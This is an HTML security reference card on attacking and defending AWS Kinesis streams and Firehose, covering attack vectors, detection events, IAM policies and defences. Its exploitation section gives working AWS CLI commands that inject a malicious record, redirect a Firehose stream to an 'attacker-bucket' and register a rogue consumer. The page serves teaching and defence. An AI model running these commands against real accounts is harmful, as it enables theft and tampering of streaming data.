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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS Kinesis Security | AWS Security Cards</title>
<meta name="description" content="Kinesis is a real-time data streaming service for collecting, processing, and analyzing data streams. Attackers exploit Kinesis to intercept real-time data, inject malicious records, and exfiltrate streaming data containing logs, events, and business transactions.">
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</style>
</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/kinesis-card.webp" alt="AWS Kinesis Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/kinesis.svg" alt="AWS Kinesis Security" /></div>
<div>
<div>
<span class="header-title">AWS Kinesis Security</span>
<span class="header-badge">STREAMING</span>
</div>
<p class="header-desc">Kinesis is a real-time data streaming service for collecting, processing, and analyzing data streams. Attackers exploit Kinesis to intercept real-time data, inject malicious records, and exfiltrate streaming data containing logs, events, and business transactions.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">HIGH</div>
<div class="stat-label">Data Interception Risk</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">24h</div>
<div class="stat-label">Default Retention</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">1MB/s</div>
<div class="stat-label">Per Shard Write</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">Real-time</div>
<div class="stat-label">Data Access</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Data Streams & Shards</h4>
<p>Kinesis Data Streams ingest real-time data via shards. Each shard handles 1MB/s write and 2MB/s read. Data is retained for 24 hours by default (up to 365 days). Records are base64-encoded and ordered by sequence number.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> With GetRecords permission, an attacker can read ALL data in the retention window - SIEM events, transactions, PII, and application secrets in real-time.</div>
</div>
<div>
<h4 style="color: #06b6d4;">Firehose & Delivery</h4>
<p>Kinesis Data Firehose delivers streaming data to S3, Redshift, Elasticsearch, Splunk, and HTTP endpoints. Attackers who modify the delivery destination can redirect entire data pipelines to attacker infrastructure.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Changing a Firehose destination is a single API call. All future data silently flows to the attacker while the original destination stops receiving data.</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 75%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">7.5</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">Kinesis streams contain real-time data including logs, transactions, and events. Attackers can read historical data within retention period, inject malicious records, and redirect streams to attacker-controlled destinations.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Stream Exploitation</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Stream data interception via GetRecords</li><li><span class="bullet" style="color: #f87171;">•</span> Record injection with PutRecord</li><li><span class="bullet" style="color: #f87171;">•</span> Firehose destination redirection</li><li><span class="bullet" style="color: #f87171;">•</span> Consumer hijacking via enhanced fan-out</li></ul><h4 style="color: #f87171;">Cross-Service Attacks</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Video stream interception (Kinesis Video)</li><li><span class="bullet" style="color: #f87171;">•</span> Analytics application manipulation</li><li><span class="bullet" style="color: #f87171;">•</span> Cross-account stream sharing abuse</li><li><span class="bullet" style="color: #f87171;">•</span> Lambda consumer code injection</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Encryption & Access</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> No server-side encryption on streams</li><li><span class="bullet" style="color: #fb923c;">•</span> Overly permissive stream IAM policies</li><li><span class="bullet" style="color: #fb923c;">•</span> Long retention periods (365 days of data)</li><li><span class="bullet" style="color: #fb923c;">•</span> Missing consumer authorization</li></ul><h4 style="color: #fb923c;">Delivery & Monitoring</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Firehose to public S3 bucket</li><li><span class="bullet" style="color: #fb923c;">•</span> Unprotected video streams</li><li><span class="bullet" style="color: #fb923c;">•</span> No monitoring on UpdateDestination calls</li><li><span class="bullet" style="color: #fb923c;">•</span> Shared producer/consumer IAM roles</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List Data Streams</div>
<pre><code>aws kinesis list-streams</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Describe Stream</div>
<pre><code>aws kinesis describe-stream --stream-name my-stream</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Firehose Streams</div>
<pre><code>aws firehose list-delivery-streams</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Consumers</div>
<pre><code>aws kinesis list-stream-consumers --stream-arn <arn></code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">📈 Privilege Escalation</h3><h4 style="color: #c084fc;">Data-Based Escalation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Read credentials from application log streams</li><li><span class="bullet" style="color: #c084fc;">•</span> Intercept API keys in event streams</li><li><span class="bullet" style="color: #c084fc;">•</span> Extract tokens from authentication streams</li><li><span class="bullet" style="color: #c084fc;">•</span> Harvest secrets from config change events</li></ul><h4 style="color: #c084fc;">Infrastructure Exploitation</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Modify Firehose IAM role for broader access</li><li><span class="bullet" style="color: #c084fc;">•</span> Register consumer with elevated permissions</li><li><span class="bullet" style="color: #c084fc;">•</span> Abuse Kinesis Analytics IAM role</li><li><span class="bullet" style="color: #c084fc;">•</span> Pivot through Lambda consumer roles</li></ul><div class="note"><strong>Key insight:</strong> Kinesis streams often carry SIEM and security event data. An attacker reading the security stream knows exactly what defenders see, enabling perfect evasion timing.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">🔗 Persistence</h3><h4 style="color: #facc15;">Stream-Based Persistence</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Register rogue enhanced fan-out consumer</li><li><span class="bullet" style="color: #facc15;">•</span> Redirect Firehose to attacker S3/HTTP endpoint</li><li><span class="bullet" style="color: #facc15;">•</span> Inject beacon records into streams</li><li><span class="bullet" style="color: #facc15;">•</span> Create shadow stream mirroring data</li></ul><h4 style="color: #facc15;">Consumer Persistence</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Lambda consumer with backdoor code</li><li><span class="bullet" style="color: #facc15;">•</span> Analytics application exfiltrating data</li><li><span class="bullet" style="color: #facc15;">•</span> Kinesis Agent forwarding to attacker</li><li><span class="bullet" style="color: #facc15;">•</span> Cross-account stream subscription</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> GetRecords (bulk read operations)</li><li><span class="bullet" style="color: #4ade80;">•</span> UpdateDestination (Firehose redirect)</li><li><span class="bullet" style="color: #4ade80;">•</span> RegisterStreamConsumer (new consumer)</li><li><span class="bullet" style="color: #4ade80;">•</span> PutRecord/PutRecords (data injection)</li></ul><h4 style="color: #4ade80;">Behavioral Indicators</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> New consumers on sensitive streams</li><li><span class="bullet" style="color: #4ade80;">•</span> Unusual GetShardIterator with TRIM_HORIZON</li><li><span class="bullet" style="color: #4ade80;">•</span> Firehose destination changes</li><li><span class="bullet" style="color: #4ade80;">•</span> Spike in GetRecords from unknown principals</li></ul><div class="note"><strong>Tool reference:</strong> Pacu module kinesis__enum enumerates streams and consumers. CloudFox kinesis maps stream permissions to IAM roles.</div></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Read Stream from Beginning</div>
<pre><code>aws kinesis get-shard-iterator --stream-name target-stream --shard-id shardId-000000000000 --shard-iterator-type TRIM_HORIZON</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Inject Malicious Record</div>
<pre><code>aws kinesis put-record --stream-name app-events --partition-key inject --data 'eyJhY3Rpb24iOiJkZWxldGVfYWxsIn0='</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Redirect Firehose to Attacker S3</div>
<pre><code>aws firehose update-destination --delivery-stream-name logs --destination-id dest-1 --s3-destination-update BucketARN=arn:aws:s3:::attacker-bucket,RoleARN=arn:aws:iam::123:role/firehose</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Register Rogue Consumer</div>
<pre><code>aws kinesis register-stream-consumer --stream-arn arn:aws:kinesis:us-east-1:123:stream/sensitive --consumer-name attacker-consumer</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Describe Firehose (Find Destination)</div>
<pre><code>aws firehose describe-delivery-stream --delivery-stream-name my-firehose --query 'DeliveryStreamDescription.Destinations'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Video Streams</div>
<pre><code>aws kinesisvideo list-streams --query 'StreamInfoList[*].{Name:StreamName,ARN:StreamARN}'</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Full Kinesis Access</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": "kinesis:*",
"Resource": "*"
}</code></pre>
<p class="policy-desc">Full Kinesis access enables data interception, injection, and stream manipulation</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Firehose Destination Control</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"firehose:UpdateDestination",
"firehose:DescribeDeliveryStream"
],
"Resource": "*"
}
// Attacker can redirect ALL Firehose
// delivery streams to their own S3/HTTP</code></pre>
<p class="policy-desc">UpdateDestination permission lets attacker redirect entire data pipelines silently</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Producer Only</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"kinesis:PutRecord",
"kinesis:PutRecords"
],
"Resource": "arn:aws:kinesis:*:*:stream/app-events"
}</code></pre>
<p class="policy-desc">Limited to writing records to a specific stream - cannot read stream data</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Consumer with KMS</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"kinesis:GetRecords",
"kinesis:GetShardIterator",
"kinesis:DescribeStream"
],
"Resource": "arn:aws:kinesis:*:*:stream/app-events"
},
{
"Effect": "Allow",
"Action": "kms:Decrypt",
"Resource": "arn:aws:kms:*:*:key/stream-key-id"
}</code></pre>
<p class="policy-desc">Read-only access to specific stream with KMS decryption for encrypted data</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Enable Server-Side Encryption</h4>
<p>Encrypt stream data at rest with KMS to control access via key policies.</p>
<pre><code>aws kinesis start-stream-encryption \\\n --stream-name my-stream \\\n --encryption-type KMS \\\n --key-id alias/kinesis-key</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📡</span>
<div>
<h4>Use Enhanced Fan-Out</h4>
<p>Registered consumers provide better access control and isolation than shared throughput.</p>
<pre><code>aws kinesis register-stream-consumer \\\n --stream-arn <arn> \\\n --consumer-name authorized-app</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">⏰</span>
<div>
<h4>Minimize Retention Period</h4>
<p>Reduce retention to limit historical data exposure window (default 24h, max 365 days).</p>
<pre><code>aws kinesis decrease-stream-retention-period \\\n --stream-name sensitive-data \\\n --retention-period-hours 24</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📊</span>
<div>
<h4>Monitor Consumer Activity</h4>
<p>Alert on new consumers, unusual read patterns, or iterator type changes (especially TRIM_HORIZON).</p>
<pre><code>CloudWatch Alarm: RegisterStreamConsumer\nAlert on GetShardIterator TRIM_HORIZON\nfrom unknown principals</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔑</span>
<div>
<h4>Separate Producer/Consumer Roles</h4>
<p>Use different IAM roles for writing and reading stream data to enforce least privilege.</p>
<pre><code>Producer: kinesis:PutRecord only\nConsumer: kinesis:GetRecords only\nNEVER combine both</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🛡️</span>
<div>
<h4>Firehose Destination Controls</h4>
<p>Restrict UpdateDestination permission via SCP and monitor all destination changes.</p>
<pre><code>SCP: Deny firehose:UpdateDestination\n except from approved admin roles</code></pre>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS Kinesis Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>